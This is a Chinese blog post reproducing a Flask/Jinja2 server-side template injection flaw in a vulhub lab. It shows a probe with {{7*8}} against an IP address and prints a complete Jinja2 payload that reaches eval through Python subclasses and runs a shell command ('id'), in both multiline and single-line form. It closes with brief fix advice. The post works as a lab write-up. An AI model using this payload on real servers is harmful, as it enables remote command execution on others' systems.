• flask漏洞复现


    简介

    漏洞复现环境为vulhub。

    参考链接:

    百科:https://baike.baidu.com/item/Flask/1241509?fr=aladdin

    Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外,Flask还有很强的定制性,用户可以根据自己的需求来添加相应的功能,在保持核心功能简单的同时实现功能的丰富与扩展,其强大的插件库可以让用户实现个性化的网站定制,开发出功能强大的网站。(来自百度百科)

    SSTI模板注入

    参考链接:

    https://blog.csdn.net/qq_40657585/article/details/83657220

    https://blog.csdn.net/zz_Caleb/article/details/96480967

    https://blog.csdn.net/Adminxe/article/details/109854743

    官网:https://palletsprojects.com/p/flask/

    https://www.jianshu.com/p/db31cdd8a17f

    https://www.anquanke.com/post/id/228176

    说起Flask框架,在安全上想到它的漏洞就是SSTI(模板注入),关于这个模板我了解的不是特别多,下面展示一个小示例。

    安装flask,pip install flask。

    hello world示例:

    #引入核心处理模块
    from flask import Flask
    #通过当前文件构建一个app应用,当前文件就是web app程序的入口
    app = Flask(__name__)
    #定义视图处理函数→路由+视图函数→加载到app中
    #访问路由,没有会提示404
    @app.route('/')
    #绑定视图函数
    def hello():
    	return "hello world"
    #运行程序
    if __name__ == '__main__':
    	app.run()
    

    漏洞复现

    启动docker环境,访问8000端口,出现Hello guest字面的页面。

    当访问链接:http://144.34.169.6:8000/?name={{7*8}}时,页面展示字样Hello 56

    这说明flask框架执行了7*8的运算。

    官方漏洞利用方法:

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    

    把上面这一串当做name参数的值传递即可实现命令执行:

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}  {% endfor %}{% endif %}{% endfor %}
    

    python2与python3的利用方式不同,可以看参考文章中安全客的文章。

    漏洞修复

    针对于不同的模板引擎,该漏洞的修复方法会有所不同,但如果在传递给模板指令之前,对用户输入进行安全过滤的话,则可以大大减少这类威胁。此外,另一种防御方法是使用沙箱环境,将危险的指令删除/禁用,或者对系统环境进行安全加固。

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    ffmpeg——压缩mav格式音频
    java控制台编译通过,运行出现找不到或无法加载主类的情况
    “Hello World!”团队——Final发布用户使用报告
    PSP总结报告
    软工第十二周个人PSP
    “Hello World!”团队第七周召开的第一次会议
    个人第十一周PSP
    互评Beta版本—博客园安卓APP
    sqlalchemy 学习笔记
    sqlite学习笔记
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14741451.html
Copyright © 2020-2023  润新知